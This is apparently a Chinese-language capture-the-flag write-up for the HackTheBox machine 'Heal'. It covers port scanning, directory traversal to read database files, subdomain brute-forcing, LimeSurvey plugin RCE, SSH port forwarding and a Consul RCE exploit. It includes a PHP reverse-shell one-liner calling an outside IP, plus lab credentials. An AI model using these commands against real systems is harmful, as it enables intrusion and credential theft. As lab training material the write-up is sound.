靶机链接:https://app.hackthebox.com/machines/Heal

前情提要

涉及知识点如下:

目录遍历读取敏感信息
目录&子域名爆破
LimeSurvey__RCE
ssh端口转发
Hashicorp Consul v1.0 - Remote Command Execution (RCE)

信息收集

端口探测

nmap -sT --min-rate 10000 -p- 10.10.11.46
.............
PORT      STATE    SERVICE
22/tcp    open     ssh
80/tcp    open     http

详细端口扫描

nmap -sTVC -O -p22,80 10.10.11.46
.................
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_  256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Heal
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

端口利用


一个登录界面,有注册功能,注册一下看看


一个简历生成器,我们可以尝试着生成一个简历,同时使用bp进行抓包


在放包的过程中我们发现了filename参数,来试试能否利用目录遍历来读取敏感文件


利用成功,并且我们知道了两个用户ron和ralph,我们可以利用这个去读网站的配置文件,但不知道是什么框架,来一段常用套路进行信息收集:目录爆破&子域名爆破

目录爆破

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-small.txt -u http://heal.htb -t 50

发现survey路由


点击参与调查发现一个子域名http://take-survey.heal.htb


在index.php发现一个用户名ralph
再次进行目录爆破,在这里我们使用rust编写的feroxbuster来进行目录爆破,因为在爆破的过程中看到了很多503,为了便于直观看结果,使用-C参数过滤一下503

feroxbuster --url http://take-survey.heal.htb/index.php/ -C 503


http://take-survey.heal.htb/index.php/admin/authentication/sa/login
发现一个登录界面,但我们手里目前只有两个用户名,并没有密码。

子域名爆破

wfuzz -c -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -u http://heal.htb -H "HOST:FUZZ.heal.htb"


同样的,为了避免数据洪流,我们使用--hw参数过滤了word大小为12的数据
有收获,其实在上面的抓包放包过程中我们也可以看到这个子域名
访问http://api.heal.htb看看


知道了一些版本信息,也知道了什么框架,上网搜一下对应的配置文件,利用目录遍历进行读取


配置文件在config/database.yml,我们来尝试读一下


发现数据库文件,这是令我们感兴趣的,因为里面极有可能有一些凭据


读到ralph的密码,利用john进行破解


获得一组凭据ralph:147258369

建立立足点

靶机开放了22端口,手里有两个用户和一个密码,来一个碰撞试试

crackmapexec ssh 10.10.11.46 -u user -p pass


无法登上ssh,但想到之前的http://take-survey.heal.htb/index.php/admin/authentication/sa/login
是一个登录界面,尝试利用ralph:147258369登录(可以把语言调成中文便于理解)


上网搜一下,找找可利用


找到了两个github库,都是利用插件来进行rce
https://github.com/p0dalirius/LimeSurvey-webshell-plugin
https://github.com/Y1LD1R1M-1337/Limesurvey-RCE
就拿第一个举例吧

LimeSurvey利用插件RCE

思路:上传zip,然后访问后门文件,action=exec&cmd=id执行命令,这里有个console.py方便我们执行命令,但如果用的不是默认的路径及命名,需要修改console.py文件
小tips:上传完成后记得激活,并且靶机会定时清除后门文件,执行操作时记得时间,如果操作没正确执行可能就是被清除了


反弹个shell出来,便于操作

php -r '$sock=fsockopen("10.10.16.41",8888);shell_exec("sh <&3 >&3 2>&3");'


一般www-data用户的权限比较低,常用思路就是去寻找敏感文件如数据库文件,网站配置文件之类的
找找配置文件

find /var/www/ -name '*config*' 2>/dev/null
在/var/www/limesurvey/application/config/config.php发现密码AdmiDi0_pA$$w0rd

再次crackmapexec

ssh服务爆破试试


成功获得ssh服务登录凭据

权限提升

ss -tuln


发现了很多端口...........ssh端口转发吧看看都有啥,一个一个看太浪费时间,发现端口有点连续,看一下3000,8500,8600

ssh ron@heal.htb -L 3000:127.0.0.1:3000
跟http://heal.htb同一个界面
ssh ron@heal.htb -L 8600:127.0.0.1:8600
ssh ron@heal.htb -L 8500:127.0.0.1:8500


重点在8500端口,突破点应该是在这里


右键查看源码,在源码中发现了版本信息


借助kali自带的searchspoit搜一下利用


下载到本地,里面有python脚本,直接打!


但我们并不知道acl_token,随便给个值试试

总结

总体来说这台靶机难度不大,在于信息收集及对凭据的敏感性,所用到的操作也都是常用套路,htb官方定级为Medium,个人感觉是Medium偏下一点